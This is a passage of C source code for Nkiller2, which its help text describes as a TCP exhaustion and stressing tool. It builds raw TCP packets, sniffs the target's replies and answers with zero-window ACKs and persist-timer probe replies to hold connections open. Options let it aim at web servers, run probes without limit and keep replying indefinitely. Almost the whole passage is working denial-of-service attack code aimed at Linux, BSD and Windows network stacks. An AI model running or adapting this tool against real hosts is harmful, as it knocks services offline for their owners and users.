  struct port_elem *next;
} port_elem;

typedef struct port_list {
  port_elem *first;
  port_elem *last;
} port_list;

/*
 * Host information
 */
typedef struct HostInfo {
  struct in_addr daddr; /* target ip address */
  char *payload;
  char *url;
  char *vhost;
  size_t plen;             /* payload length */
  size_t wlen;             /* http request length */
  port_list ports;         /* linked list of ports */
  unsigned int portlen;    /* how many ports */
} HostInfo;


typedef struct SniffInfo {
  struct in_addr saddr;   /* local ip */
  pcap_if_t *dev;
  pcap_t *pd;
} SniffInfo;


typedef struct Sock {
  struct in_addr saddr;
  struct in_addr daddr;
  uint16_t sport;
  uint16_t dport;
} Sock;


/* global vars */
Options o;


/**** function declarations ****/

/* helper functions */
static void fatal(const char *fmt, ...);
static void usage(void);
static void help(void);
static void *xcalloc(size_t nelem, size_t size);
static void *xmalloc(size_t size);
static void *xrealloc(void *ptr, size_t size);

/* port-handling functions */
static void port_add(HostInfo *Target, uint16_t port);
static void port_remove(HostInfo *Target, uint16_t port);
static int port_exists(HostInfo *Target, uint16_t port);
static uint16_t port_get_random(HostInfo *Target);
static uint16_t *port_parse(char *portarg, unsigned int *portlen);

/* packet helper functions */
static uint16_t checksum_comp(uint16_t *addr, int len);
static void handle_payloads(HostInfo *Target);
static uint32_t calc_cookie(Sock *sockinfo);
static char *build_mss(char **tcpopt, unsigned int *tcpopt_len,
    uint16_t mss);
static int get_timestamp(const struct tcphdr *tcp, uint32_t *tsval,
    uint32_t *tsecr);
static char *build_timestamp(char **tcpopt, unsigned int *tcpopt_len,
    uint32_t tsval, uint32_t tsecr);

/* sniffing functions */
static void sniffer_init(HostInfo *Target, SniffInfo *Sniffer);
static int check_replies(HostInfo *Target, SniffInfo *Sniffer,
    u_char **reply);

/* packet handling functions */
static void send_packet(char* packet, unsigned int *packetlen);
static void send_syn_probe(HostInfo *Target, SniffInfo *Sniffer);
static int send_probe(const u_char *reply, HostInfo *Target, int state);
static char *build_tcpip_packet(const struct in_addr *source,
    const struct in_addr *target, uint16_t sport, uint16_t dport,
    uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid,
    uint16_t window, uint8_t flags, char *data, uint16_t datalen,
    char *tcpopt, unsigned int tcpopt_len, unsigned int *packetlen);


/**** function definitions ****/



/*
 * Wrapper around calloc() that calls fatal when out of memory
 */
static void *
xcalloc(size_t nelem, size_t size)
{
  void *p;

  p = calloc(nelem, size);
  if (p == NULL)
    fatal("Out of memory\n");
  return p;
}



/*
 * Wrapper around xcalloc() that calls fatal() when out of memory
 */
static void *
xmalloc(size_t size)
{
  return xcalloc(1, size);
}



static void *
xrealloc(void *ptr, size_t size)
{
  void *p;

  p = realloc(ptr, size);
  if (p == NULL)
    fatal("Out of memory\n");
  return p;
}



/*
 * vararg function called when sth _evil_ happens
 * usually in conjunction with __func__ to note
 * which function caused the RIP stat
 */
static void
fatal(const char *fmt, ...)
{
  va_list ap;
  va_start(ap, fmt);
  (void) vfprintf(stderr, fmt, ap);
  va_end(ap);
  exit(EXIT_FAILURE);
}



/* Return network stack template */
static const char *
get_template(int template)
{
  switch (template) {
    case T_LINUX:
      return("Linux");
    case T_BSDWIN:
      return("BSD | Windows");
    default:
      return("Unknown");
  }
}
```

```
/*
 * Print a short usage summary and exit
 */
static void
usage(void)
{
  fprintf(stderr,
      "nkiller2 [-t addr] [-p ports] [-k key] [-n total probes]\n"
      "         [-N probes/rnd] [-c msec] [-l payload] [-w path]\n"
      "         [-s sleep] [-d level] [-r vhost] [-T template]\n"
      "         [-P probe-interval] [-hvyg]\n"
      "Please use ‘-h’ for detailed help.\n");
  exit(EX_USAGE);
}



/*
 * Print detailed help
 */
static void
help(void)
{
  static const char *help_message =
    "Nkiller2 - a TCP exhaustion & stressing tool\n"
    "\n"
    "Copyright (c) 2008 ithilgore <ithilgore.ryu.L@gmail.com>\n"
    "http://sock-raw.org\n"
    "\n"
    "Nkiller is free software, covered by the GNU General Public License,"
    "\nand you are welcome to change it and/or distribute copies of it "
    "under\ncertain conditions.  See the file ‘COPYING’ in the source\n"
    "distribution of nkiller for the conditions and terms that it is\n"
    "distributed under.\n"
    "\n"
    "    WARNING:\n"
    "The authors disclaim any express or implied warranties, including,\n"
    "but not limited to, the implied warranties of merchantability and\n"
    "fitness for any particular purpose. In no event shall the authors "
    "or\ncontributors be liable for any direct, indirect, incidental, "
    "special,\nexemplary, or consequential damages (including, but not "
    "limited to,\nprocurement of substitute goods or services; loss of "
    "use, data, or\nprofits; or business interruption) however caused and"
    " on any theory\nof liability, whether in contract, strict liability,"
    " or tort\n(including negligence or otherwise) arising in any way out"
    " of the use\nof this software, even if advised of the possibility of"
    " such damage.\n\n"
    "Usage:\n"
    "\n"
    "    nkiller2 -t <target> -p <ports> [options]\n"
    "\n"
    "Mandatory:\n"
    "  -t target          The IP address of the target host.\n"
    "  -p port[,port]     A list of ports, separated by commas. Specify\n"
    "                     only ports that are known to be open, or use\n"
    "                     -y when unsure.\n"
    "Options:\n"
    "  -c msec            Time in microseconds, between each pcap poll\n"
    "                     for packets (pcap poll timeout).\n"
    "  -d level           Set the debug level (1: some, 2: all)\n"
    "  -h                 Print this help message.\n"
    "  -k key             Set the key for reverse SYN cookies.\n"
    "  -l payload         Additional payload string.\n"
    "  -s sleep           Average time in ms between each probe.\n"
    "  -n probes          Set the number of probes, 0 for unlimited.\n"
    "  -N probes/rnd      Number of probes per round.\n"
    "  -T template        Attacked network stack template:\n"
    "                     0. Linux (default)\n"
    "                     1. *BSD | Windows\n"
    "  -P time            Number of seconds after which we reply to the\n"
    "                     persist timer probes.\n"
    "  -w path            URL or GET request to web server. The path of\n"
    "                     a big file (> 4K) should work nicely here.\n"
    "  -r vhost           Virtual host name. This is needed for web\n"
    "                     hosts that support virtual hosting on HTTP1.1\n"
    "  -g                 Guardmode. Continue answering to zero probes \n"
    "                     until the end of times.\n"
    "  -y                 Dynamic port handling.  Remove ports from the\n"
    "                     port list if we get an RST for them. Useful\n"
    "                     when you do not know if one port is open for "
    "sure.\n"
    "  -v                 Verbose mode.\n";

  printf("%s", help_message);
  fflush(stdout);
}



/*
 * Build a TCP packet from its constituents
 */
static char *
build_tcpip_packet(const struct in_addr *source,
    const struct in_addr *target, uint16_t sport, uint16_t dport,
    uint32_t seq, uint32_t ack, uint8_t ttl, uint16_t ipid,
    uint16_t window, uint8_t flags, char *data, uint16_t datalen,
    char *tcpopt, unsigned int tcpopt_len, unsigned int *packetlen)
{
  char *packet;
  struct ip *ip;
  struct tcphdr *tcp;
  pseudo_hdr *phdr;
  char *tcpdata;
  /* fake length to account for 16bit word padding chksum */
  unsigned int chklen;

  if (tcpopt_len % 4)
    fatal("TCP option length must be divisible by 4.\n");

  *packetlen = sizeof(*ip) + sizeof(*tcp) + tcpopt_len + datalen;
  if (*packetlen % 2)
    chklen = *packetlen + 1;
  else
    chklen = *packetlen;

  packet = xmalloc(chklen + sizeof(*phdr));

  ip = (struct ip *)packet;
  tcp = (struct tcphdr *) ((char *)ip + sizeof(*ip));
  tcpdata = (char *) ((char *)tcp + sizeof(*tcp) + tcpopt_len);

  memset(packet, 0, chklen);

  ip->ip_v = 4;
  ip->ip_hl = 5;
  ip->ip_tos = 0;
  ip->ip_len = *packetlen; /* must be in host byte order for FreeBSD */
  ip->ip_id = htons(ipid); /* kernel will fill with random value if 0 */
  ip->ip_off = 0;
  ip->ip_ttl = ttl;
  ip->ip_p = IPPROTO_TCP;
  ip->ip_sum = checksum_comp((unsigned short *)ip, sizeof(struct ip));
  ip->ip_src.s_addr = source->s_addr;
  ip->ip_dst.s_addr = target->s_addr;

  tcp->th_sport = htons(sport);
  tcp->th_dport = htons(dport);
  tcp->th_seq = seq;
  tcp->th_ack = ack;
  tcp->th_x2 = 0;
  tcp->th_off = 5 + (tcpopt_len / 4);
  tcp->th_flags = flags;
  tcp->th_win = htons(window);
  tcp->th_urp = 0;

  memcpy((char *)tcp + sizeof(*tcp), tcpopt, tcpopt_len);
  memcpy(tcpdata, data, datalen);

  /* pseudo header used for checksumming */
  phdr = (struct pseudo_hdr *) ((char *)packet + chklen);
  phdr->src = source->s_addr;
  phdr->dst = target->s_addr;
  phdr->mbz = 0;
  phdr->proto = IPPROTO_TCP;
  phdr->len = ntohs((tcp->th_off * 4) + datalen);
  /* tcp checksum */
  tcp->th_sum = checksum_comp((unsigned short *)tcp,
      chklen - sizeof(*ip) + sizeof(*phdr));

  return packet;
}


/*
 * Write the packet to the network and free it from memory
 */
static void
send_packet(char* packet, unsigned int *packetlen)
{
  struct sockaddr_in sin;
  int sockfd, one;

  sin.sin_family = AF_INET;
  sin.sin_port = ((struct tcphdr *)(packet +
        sizeof(struct ip)))->th_dport;
  sin.sin_addr.s_addr = ((struct ip *)(packet))->ip_dst.s_addr;

  if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    fatal("cannot open socket");

  one = 1;
  setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (const char *) &one,
      sizeof(one));

  if (sendto(sockfd, packet, *packetlen, 0,
        (struct sockaddr *)&sin, sizeof(sin)) < 0) {
    fatal("sendto error: ");
  }
  close(sockfd);
  free(packet);
}


/*
 * Build TCP timestamp option
 * tcpopt points to possibly already existing TCP options
 * so inspect current TCP option length (tcpopt_len)
 */
static char *
build_timestamp(char **tcpopt, unsigned int *tcpopt_len,
    uint32_t tsval, uint32_t tsecr)
{
  struct timeval now;
  tcp_timestamp t;
  char *opt;

  if (*tcpopt_len) {
    opt = xrealloc(*tcpopt, *tcpopt_len + sizeof(t));
    *tcpopt = opt;
    opt += *tcpopt_len;
  } else
    *tcpopt = xmalloc(sizeof(t));

  memset(&t, TCPOPT_NOP, sizeof(t));
  t.kind = TCPOPT_TIMESTAMP;
  t.length = 10;
  if (gettimeofday(&now, NULL) < 0)
    fatal("Couldn't get time of day\n");
  t.tsval = htonl((tsval) ? tsval : (uint32_t)now.tv_sec);
  t.tsecr = htonl((tsecr) ? tsecr : 0);

  if (*tcpopt_len)
    memcpy(opt, &t, sizeof(t));
  else
    memcpy(*tcpopt, &t, sizeof(t));

  *tcpopt_len += sizeof(t);

  return *tcpopt;
}



/*
 * Build TCP Maximum Segment Size option
 */
static char *
build_mss(char **tcpopt, unsigned int *tcpopt_len, uint16_t mss)
{
  struct tcp_mss t;
  char *opt;

  if (*tcpopt_len) {
    opt = realloc(*tcpopt, *tcpopt_len + sizeof(t));
    *tcpopt = opt;
    opt += *tcpopt_len;
  } else
    *tcpopt = xmalloc(sizeof(t));

  memset(&t, TCPOPT_NOP, sizeof(t));
  t.kind = TCPOPT_MAXSEG;
  t.length = 4;
  t.mss = htons(mss);

  if (*tcpopt_len)
    memcpy(opt, &t, sizeof(t));
  else
    memcpy(*tcpopt, &t, sizeof(t));

  *tcpopt_len += sizeof(t);
  return *tcpopt;
}



/*
 * Perform pcap polling (until a certain timeout) and
 * return the packet you got - also check that the
 * packet we get is something we were expecting, according
 * to the reverse cookie we had set in the tcp seq field.
 * Returns the virtual state that the reply denotes and which
 * we differentiate from each other based on packet parsing techniques.
 */
static int
check_replies(HostInfo *Target, SniffInfo *Sniffer, u_char **reply)
{

  int timedout = 0;
  int goodone = 0;
  const u_char *packet = NULL;
  uint32_t decoded_seq;
  uint32_t ack, calc_ack;
  int state;
  uint16_t datagram_len;
  uint32_t datalen;
  struct Sock sockinfo;
  struct pcap_pkthdr phead;
  const struct ip *ip;
  const struct tcphdr *tcp;
  struct timeval now, wait;
  uint32_t tsval, tsecr;
  uint32_t time_elapsed = 0;

  state = 0;

  if (gettimeofday(&wait, NULL) < 0)
    fatal("Couldn’t get time of day\n");
  /* poll for ’polltime’ micro seconds */
  wait.tv_usec += o.polltime;

  do {
    datagram_len = 0;
    packet = pcap_next(Sniffer->pd, &phead);
    if (gettimeofday(&now, NULL) < 0)
      fatal("Couldn’t get time of day\n");
    if (TIMEVAL_SUBTRACT(wait, now) < 0)
      timedout++;

    if (packet == NULL)
      continue;

    /* This only works on Ethernet - be warned */
    if (*(packet + 12) != 0x8) {
      break; /* not an IPv4 packet */
    }

    ip = (const struct ip *) (packet + SIZE_ETHERNET);

    /*
     * TCP/IP header checking - end cases are more than the ones
     * checked below but are so rarely happening that for
     * now we won’t go into trouble to validate - could also
     * use validedpkt() from nmap/tcpip.cc
     */
    if (ip->ip_hl < 5) {
      if (o.debug2)
        (void) fprintf(stderr, "IP header < 20 bytes\n");
      break;
    }
    if (ip->ip_p != IPPROTO_TCP) {
      if (o.debug2)
        (void) fprintf(stderr, "Packet not TCP\n");
      break;
    }

    datagram_len = ntohs(ip->ip_len); /* Save length for later */
    tcp = (const void *) ((const char *)ip + ip->ip_hl * 4);
    if (tcp->th_off < 5) {
      if (o.debug2)
        (void) fprintf(stderr, "TCP header < 20 bytes\n");
      break;
    }

    datalen = datagram_len - (ip->ip_hl * 4) - (tcp->th_off * 4);

    /* A non-ACK packet is nothing valid */
    if (!(tcp->th_flags & TH_ACK))
      break;

    /*
     * We swap the values accordingly since we want to
     * check the result with the 4tuple we had created
     * when sending our own syn probe
     */
    sockinfo.saddr.s_addr = ip->ip_dst.s_addr;
    sockinfo.daddr.s_addr = ip->ip_src.s_addr;
    sockinfo.sport = ntohs(tcp->th_dport);
    sockinfo.dport = ntohs(tcp->th_sport);
    decoded_seq = calc_cookie(&sockinfo);

    if (tcp->th_flags & (TH_SYN|TH_RST)) {

      ack = ntohl(tcp->th_ack) - 1;
      calc_ack = ntohl(decoded_seq);
      /*
       * We can’t directly compare two values returned by
       * the ntohl functions
       */
      if (ack != calc_ack)
        break;

      /* OK we got a reply to something we have sent */

      /* SYNACK case */
      if (tcp->th_flags & TH_SYN) {

        if (o.dynamic && port_exists(Target, sockinfo.dport)) {
          if (o.debug2)
            (void) fprintf(stderr, "Port doesn’t exist in list "
                "- probably removed it before due to an RST and dynamic "
                "handling\n");
          break;
        }
        if (o.debug)
          (void) fprintf(stdout,
              "Got SYN packet with seq: %x our port: %u "
              "target port: %u\n", decoded_seq,
              sockinfo.sport, sockinfo.dport);

        goodone++;
        state = S_SYNACK;

        /* ERR case */
      } else if (tcp->th_flags & TH_RST) {

        /*
         * If we get an RST packet this means that the port is
         * closed and thus we remove it from our port list.
         */
        if (o.debug2)
          (void) fprintf(stdout,
              "Oops! Got an RST packet with seq: %x "
              "port %u is closed\n",decoded_seq,
              sockinfo.dport);
        if (o.dynamic)
          port_remove(Target, sockinfo.dport);
      }
    } else {
      /*
       * Each subsequent ACK that we get will have the
       * same acknowledgment number since we won’t be sending
       * any more data to the target.
       */
      ack = ntohl(tcp->th_ack);
      calc_ack = ntohl(decoded_seq) + Target->wlen + 1;

      if (ack != calc_ack)
        break;

      struct timeval now;
      if (get_timestamp(tcp, &tsval, &tsecr)) {
        if (gettimeofday(&now, NULL) < 0)
          fatal("Couldn’t get time of day\n");
        time_elapsed = now.tv_sec - tsecr;
        if (o.debug)
          (void) fprintf(stdout, "Time elapsed: %u (sport: %u)\n",
              time_elapsed, sockinfo.sport);
      } else
        (void) fprintf(stdout, "Warning: No timestamp available from "
            "target host’s reply. Chaotic behaviour imminent...\n");

      /*
       * First Data Acknowledgment case (FDACK)
       * Note that this packet may not always appear, since there
       * is a chance that it will be piggybacked with the first
       * sending data of the peer, depending on whether the delayed
       * acknowledgment timer expired or not at the peer side.
       * Practically, we choose to ignore it and wait until
       * we receive actual data.
       */
      if (ack == calc_ack && (!datalen || datalen == 1)
          && time_elapsed < o.probe_interval) {
        state = S_FDACK;
        break;
      }

      /*
       * Data - victim sent the first packet(s) of data
       */
      if (ack == calc_ack && datalen > 1) {
        if (tcp->th_flags & TH_PUSH) {
          state = S_DATA_1;
          goodone++;
          break;
        } else {
          state = S_DATA_0;
          goodone++;
          break;
        }
      }

      /*
       * Persist (Probe) Timer reply
       * The time_elapsed limit must be at least equal to the product:
       * (’persist_timer_interval’ * ’/proc/sys/net/ipv4/tcp_retries2’)
       * or else we might lose an important probe and fail to ack it
       * On Linux: persist_timer_interval = about 2 minutes (after it has
       * stabilized) and tcp_retries2 = 15 probes.
       * Note we check ’datalen’ for both 0 and 1 since Linux probes
       * with 0 data, while *BSD/Windows probe with 1 byte of data
       */
      if (ack == calc_ack && (!datalen || datalen == 1)
          && time_elapsed >= o.probe_interval) {
        state = S_PROBE;
        goodone++;
        break;
      }

    }

  } while (!timedout && !goodone);

  if (goodone) {
    *reply = xmalloc(datagram_len);
    memcpy(*reply, packet + SIZE_ETHERNET, datagram_len);
  }

  return state;
}



/*
 * Parse TCP options and get timestamp if it exists.
 * Return 1 if timestamp valid, 0 for failure
 */
int
get_timestamp(const struct tcphdr *tcp, uint32_t *tsval, uint32_t *tsecr)
{
  u_char *p;
  unsigned int op;
  unsigned int oplen;
  unsigned int len = 0;

  if (!tsval || !tsecr)
    return 0;

  p = ((u_char *)tcp) + sizeof(*tcp);
  len = 4 * tcp->th_off - sizeof(*tcp);

  while (len > 0 && *p != TCPOPT_EOL) {
    op = *p++;
    if (op == TCPOPT_EOL)
      break;
    if (op == TCPOPT_NOP) {
      len--;
      continue;
    }
    oplen = *p++;
    if (oplen < 2)
      break;
    if (oplen > len)
      break; /* not enough space */
    if (op == TCPOPT_TIMESTAMP && oplen == 10) {
      /* legitimate timestamp option */
      if (tsval) {
        memcpy((char *)tsval, p, 4);
        *tsval = ntohl(*tsval);
      }
      p += 4;
      if (tsecr) {
        memcpy((char *)tsecr, p, 4);
        *tsecr = ntohl(*tsecr);
      }
      return 1;
    }
    len -= oplen;
    p += oplen - 2;
  }
  *tsval = 0;
  *tsecr = 0;
  return 0;
}



/*
 * Craft SYN initiating probe
 */
static void
send_syn_probe(HostInfo *Target, SniffInfo *Sniffer)
{
  char *packet;
  char *tcpopt;
  uint16_t sport, dport;
  uint32_t encoded_seq;
  unsigned int packetlen, tcpopt_len;
  Sock *sockinfo;

  tcpopt_len = 0;
  sockinfo = xmalloc(sizeof(*sockinfo));

  sport = (1024 + random()) % 65536;
  dport = port_get_random(Target);

  /* Calculate reverse cookie and encode value into sequence number */
  sockinfo->saddr.s_addr = Sniffer->saddr.s_addr;
  sockinfo->daddr.s_addr = Target->daddr.s_addr;
  sockinfo->sport = sport;
  sockinfo->dport = dport;
  encoded_seq = calc_cookie(sockinfo);

  /* Build tcp options - timestamp, mss */
  tcpopt = build_timestamp(&tcpopt, &tcpopt_len, 0, 0);
  tcpopt = build_mss(&tcpopt, &tcpopt_len, 1024);

  packet = build_tcpip_packet(
      &Sniffer->saddr,
      &Target->daddr,
      sport,
      dport,
      encoded_seq,
      0,
      64,
      random() % (uint16_t)˜0,
      1024,
      TH_SYN,
      NULL,
      0,
      tcpopt,
      tcpopt_len,
      &packetlen
      );

  send_packet(packet, &packetlen);

  free(tcpopt);
  free(sockinfo);
}



/*
 * Generic probe function: depending on the value of ’state’ as
 * denoted by check_replies() earlier, we trigger a different probe
 * behaviour, taking also into account any network stack templates.
 */
```

```
static int
send_probe(const u_char *reply, HostInfo *Target, int state)
{
  char *packet;
  unsigned int packetlen;
  uint32_t ack;
  char *tcpopt;
  unsigned int tcpopt_len;
  int validstamp;
  uint32_t tsval, tsecr;
  struct ip *ip;
  struct tcphdr *tcp;
  uint16_t datalen;
  uint16_t window;
  int payload = 0;

  validstamp = 0;
  tcpopt_len = 0;

  ip = (struct ip *)reply;
  tcp = (struct tcphdr *)((char *)ip + ip->ip_hl * 4);
  datalen = ntohs(ip->ip_len) - (ip->ip_hl * 4) - (tcp->th_off * 4);

  switch (state) {
    case S_SYNACK:
      ack = ntohl(tcp->th_seq) + 1;
      window = 1024;
      payload++;
      break;
    case S_DATA_0:
      ack = ntohl(tcp->th_seq) + datalen;
      if (o.template == T_BSDWIN)
        window = 0;
      else
        window = 512;
      break;
    case S_DATA_1:
      ack = ntohl(tcp->th_seq) + datalen;
      window = 0;
      break;
    case S_PROBE:
      ack = ntohl(tcp->th_seq);
      window = 0;
      break;
    default:    /* we shouldn’t get here */
      ack = ntohl(tcp->th_seq);
      window = 0;
      break;
  }

  if (get_timestamp(tcp, &tsval, &tsecr)) {
    validstamp++;
    tcpopt = build_timestamp(&tcpopt, &tcpopt_len, 0, tsval);
  }

  packet = build_tcpip_packet(
      &ip->ip_dst,  /* mind the swapping */
      &ip->ip_src,
      ntohs(tcp->th_dport),
      ntohs(tcp->th_sport),
      tcp->th_ack, /* as seq field */
      htonl(ack),
      64,
      random() % (uint16_t)˜0,
      window,
      TH_ACK,
      (payload) ? ((ntohs(tcp->th_sport) == 80)
        ? Target->url : Target->payload) : NULL,
      (payload) ? ((ntohs(tcp->th_sport) == 80)
        ? Target->wlen : Target->plen) : 0,
      (validstamp) ? tcpopt : NULL,
      (validstamp) ? tcpopt_len : 0,
      &packetlen
      );

  send_packet(packet, &packetlen);
  free(tcpopt);

  return 0;
}




/*
 * Reverse(or client) syn_cookie function - encode the 4tuple
 * { src ip, src port, dst ip, dst port } and a secret key into
 * the sequence number, thus keeping info of the packet inside itself
 * (idea taken by scanrand - Nmap uses an equivalent technique too)
 */
static uint32_t
calc_cookie(Sock *sockinfo)
{

  uint32_t seq;
  unsigned int cookie_len;
  unsigned int input_len;
  unsigned char *input;
  unsigned char cookie[EVP_MAX_MD_SIZE];

  input_len = sizeof(*sockinfo);
  input = xmalloc(input_len);
  memcpy(input, sockinfo, sizeof(*sockinfo));

  /* Calculate a sha1 hash based on the quadruple and the skey */
  HMAC(EVP_sha1(), (char *)o.skey, strlen(o.skey), input, input_len,
      cookie, &cookie_len);

  free(input);

  /* Get only the first 32 bits of the sha1 hash */
  memcpy(&seq, &cookie, sizeof(seq));
  return seq;
}




static void
sniffer_init(HostInfo *Target, SniffInfo *Sniffer)
{
  char errbuf[PCAP_ERRBUF_SIZE];
  struct bpf_program bpf;
  struct pcap_addr *address;
  struct sockaddr_in *ip;
  char filter[27];

  strncpy(filter, "src host ", sizeof(filter));
  strncpy(&filter[sizeof("src host ")-1], inet_ntoa(Target->daddr), 16);
  if (o.debug)
    (void) fprintf(stdout, "Filter: %s\n", filter);

  if ((pcap_findalldevs(&Sniffer->dev, errbuf)) == -1)
    fatal("%s: pcap_findalldevs(): %s\n", __func__, errbuf);

  address = Sniffer->dev->addresses;
  address = address->next;           /* first address is garbage */
  if (address->addr) {
    ip = (struct sockaddr_in *) address->addr;
    memcpy(&Sniffer->saddr, &ip->sin_addr, sizeof(struct in_addr));
    if (o.debug) {
      (void) fprintf(stdout, "Local IP: %s\nDevice name: "
          "%s\n", inet_ntoa(Sniffer->saddr), Sniffer->dev->name);
    }
  } else
    fatal("%s: Couldn’t find associated IP with interface %s\n",
        __func__, Sniffer->dev->name);

  if (!(Sniffer->pd =
        pcap_open_live(Sniffer->dev->name, BUFSIZ, 0, 0, errbuf)))
    fatal("%s: Could not open device %s: error: %s\n ", __func__,
        Sniffer->dev->name, errbuf);

  if (pcap_compile(Sniffer->pd , &bpf, filter, 0, 0) == -1)
    fatal("%s: Couldn’t parse filter %s: %s\n ", __func__, filter,
        pcap_geterr(Sniffer->pd));

  if (pcap_setfilter(Sniffer->pd, &bpf) == -1)
    fatal("%s: Couldn’t install filter %s: %s\n", __func__, filter,
        pcap_geterr(Sniffer->pd));

  if (pcap_setnonblock(Sniffer->pd, 1, NULL) < 0)
    fprintf(stderr, "Couldn’t set nonblocking mode\n");
}



static uint16_t *
port_parse(char *portarg, unsigned int *portlen)
{
  char *endp;
  uint16_t *ports;
  unsigned int nports;
  unsigned long pvalue;
  char *temp;
  *portlen = 0;

  ports = xmalloc(65535 * sizeof(uint16_t));
  nports = 0;

  while (nports < 65535) {
    if (nports == 0)
      temp = strtok(portarg, ",");
    else
      temp = strtok(NULL, ",");

    if (temp == NULL)
      break;

    endp = NULL;
    errno = 0;
    pvalue = strtoul(temp, &endp, 0);
    if (errno != 0 || *endp != ’\0’) {
      fprintf(stderr, "Invalid port number: %s\n",
          temp);
      goto cleanup;
    }

    if (pvalue > IPPORT_MAX) {
      fprintf(stderr, "Port number too large: %s\n",
          temp);
      goto cleanup;
    }

    ports[nports++] = (uint16_t)pvalue;
  }
  if (portlen != NULL)
    *portlen = nports;
  return ports;

cleanup:
  free(ports);
  return NULL;
}



/*
 * Check if port is in list, return 0 if it is, -1 if not
 * (similar to port_remove in logic)
 */
static int
port_exists(HostInfo *Target, uint16_t port)
{
  port_elem *current;
  port_elem *before;

  current = Target->ports.first;
  before = Target->ports.first;

  while (current->port_val != port && current->next != NULL) {
    before = current;
    current = current->next;
  }

  if (current->port_val != port && current->next == NULL) {
    if (o.debug2)
      (void) fprintf(stderr, "%s: port %u doesn't exist in "
          "list\n", __func__, port);
    return -1;
  } else
    return 0;
}



/*
 * Remove specific port from portlist
 */
static void
port_remove(HostInfo *Target, uint16_t port)
{
  port_elem *current;
  port_elem *before;

  current = Target->ports.first;
  before = Target->ports.first;

  while (current->port_val != port && current->next != NULL) {
    before = current;
    current = current->next;
  }

  if (current->port_val != port && current->next == NULL) {
    if (current != Target->ports.first) {
      if (o.debug2)
        (void) fprintf(stderr, "Port %u not found in list\n", port);
      return;
    }
  }

  if (current != Target->ports.first) {
    before->next = current->next;
  } else {
    Target->ports.first = current->next;
  }
  Target->portlen--;
  if (!Target->portlen)
    fatal("No port left to hit!\n");
}



/*
 * Add new port to port linked list of Target
 */
static void
port_add(HostInfo *Target, uint16_t port)
{
  port_elem *current;
  port_elem *newNode;

  newNode = xmalloc(sizeof(*newNode));

  newNode->port_val = port;
  newNode->next = NULL;

  if (Target->ports.first == NULL) {
    Target->ports.first = newNode;
    Target->ports.last = newNode;
    return;
  }

  current = Target->ports.last;
  current->next = newNode;
  Target->ports.last = newNode;
}



/*
 * Return a random port from portlist
 */
static uint16_t
port_get_random(HostInfo *Target)
{
  port_elem *temp;
  unsigned int i, offset;

  temp = Target->ports.first;
  offset = (random() % Target->portlen);
  i = 0;
  while (i < offset) {
    temp = temp->next;
    i++;
  }
  return temp->port_val;
}



/*
 * Prepare the payload that will be sent in the 3rd phase
 * of the Connection-estalishment handshake (piggypacked
 * along with the ACK of the peer's SYNACK)
 */
static void
handle_payloads(HostInfo *Target)
{
  if (o.payload[0]) {
    Target->plen = strlen(o.payload);
    Target->payload = xmalloc(Target->plen);
    strncpy(Target->payload, o.payload, Target->plen);
  } else {
    Target->payload = NULL;
    Target->plen = 0;
  }

  if (o.path[0]) {
    if (o.vhost[0]) {
      Target->wlen = strlen(o.path) + strlen(o.vhost) +
        sizeof("GET  HTTP/1.0\015\012Host: \015\012\015\012") - 1;
      Target->url = xmalloc(Target->wlen + 1);
      /* + 1 for trailing '\0' of snprintf()  */
      snprintf(Target->url, Target->wlen + 1,
          "GET %s HTTP/1.0\015\012Host: %s\015\012\015\012",
          o.path, o.vhost);
    } else {
      Target->wlen = strlen(o.path) +
        sizeof("GET  HTTP/1.0\015\012\015\012") - 1;
      Target->url = xmalloc(Target->wlen + 1);
      snprintf(Target->url, Target->wlen + 1,
          "GET %s HTTP/1.0\015\012\015\012", o.path);
    }
  } else {
    Target->wlen = sizeof(WEB_PAYLOAD) - 1;
    Target->url = xmalloc(Target->wlen);
    memcpy(Target->url, WEB_PAYLOAD, Target->wlen);
  }
}



/* No way you have seen this before! */
static uint16_t
checksum_comp(uint16_t *addr, int len)
{
  register long sum = 0;
  uint16_t checksum;
  int count = len;
  uint16_t temp;

  while (count > 1)  {
    temp = *addr++;
    sum += temp;
    count -= 2;
  }
  if (count > 0)
    sum += *(char *) addr;

  while (sum >> 16)
    sum = (sum & 0xffff) + (sum >> 16);

  checksum = ~sum;
  return checksum;
}



int
main(int argc, char **argv)
{
  int print_help;
  int opt;
  int required;
  int debug_level;
  size_t i;
  unsigned int portlen;
  unsigned int probes, probes_sent, probes_left;
  unsigned int probes_this_rnd, probes_rnd_fini;
  int unlimited, state, probe_byusr;
  HostInfo *Target;
  SniffInfo *Sniffer;
  u_char *reply;
  char *endp;

  srandom(time(0));

  if (argc == 1) {
    usage();
  }

  memset(&o, 0, sizeof(o));
  unlimited = 0;
  required = 0;
  portlen = 0;
  print_help = 0;
  probe_byusr = 0;

  probes = DEFAULT_NUM_PROBES;
  o.sleep = DEFAULT_SLEEP_TIME;
  o.probes_per_rnd = DEFAULT_PROBES_RND;
  o.probe_interval = DEFAULT_PROBE_INTERVAL;
  strncpy(o.skey, DEFAULT_KEY, sizeof(o.skey));
  o.polltime = DEFAULT_POLLTIME;

  /* Option parsing */
  while ((opt = getopt(argc, argv, "t:k:l:w:c:p:n:vd:s:r:N:T:P:yhg"))
      != -1)
  {
    switch (opt)
    {
      case ’t’:   /* target address */
        strncpy(o.target, optarg, sizeof(o.target));
        required++;
        break;
      case ’k’:   /* secret key */
        strncpy(o.skey, optarg, sizeof(o.skey));
        break;
      case ’l’:   /* payload */
        strncpy(o.payload, optarg, sizeof(o.payload) - 1);
        break;
      case ’w’:  /* path */
        strncpy(o.path, optarg, sizeof(o.path) - 1);
        break;
      case ’r’:    /* vhost name */
        strncpy(o.vhost, optarg, sizeof(o.vhost) -1);
        break;
      case ’c’:   /* polltime */
        endp = NULL;
        o.polltime = strtoul(optarg, &endp, 0);
        if (errno != 0 || *endp != ’\0’)
          fatal("Invalid polltime: %s\n", optarg);
        break;
      case ’p’:   /* destination port */
        if (!(o.portlist = port_parse(optarg, &portlen)))
          fatal("Couldn’t parse ports!\n");
        required++;
        break;
      case ’n’:   /* number of probes */
        endp = NULL;
        o.probes = strtoul(optarg, &endp, 0);
        if (errno != 0 || *endp != ’\0’)
          fatal("Invalid probe number: %s\n", optarg);
        probe_byusr++;
        if (!o.probes) {
          unlimited++;
          probe_byusr = 0;
        }
        break;
      case ’N’:    /* probes per round */
        endp = NULL;
        o.probes_per_rnd = strtoul(optarg, &endp, 0);
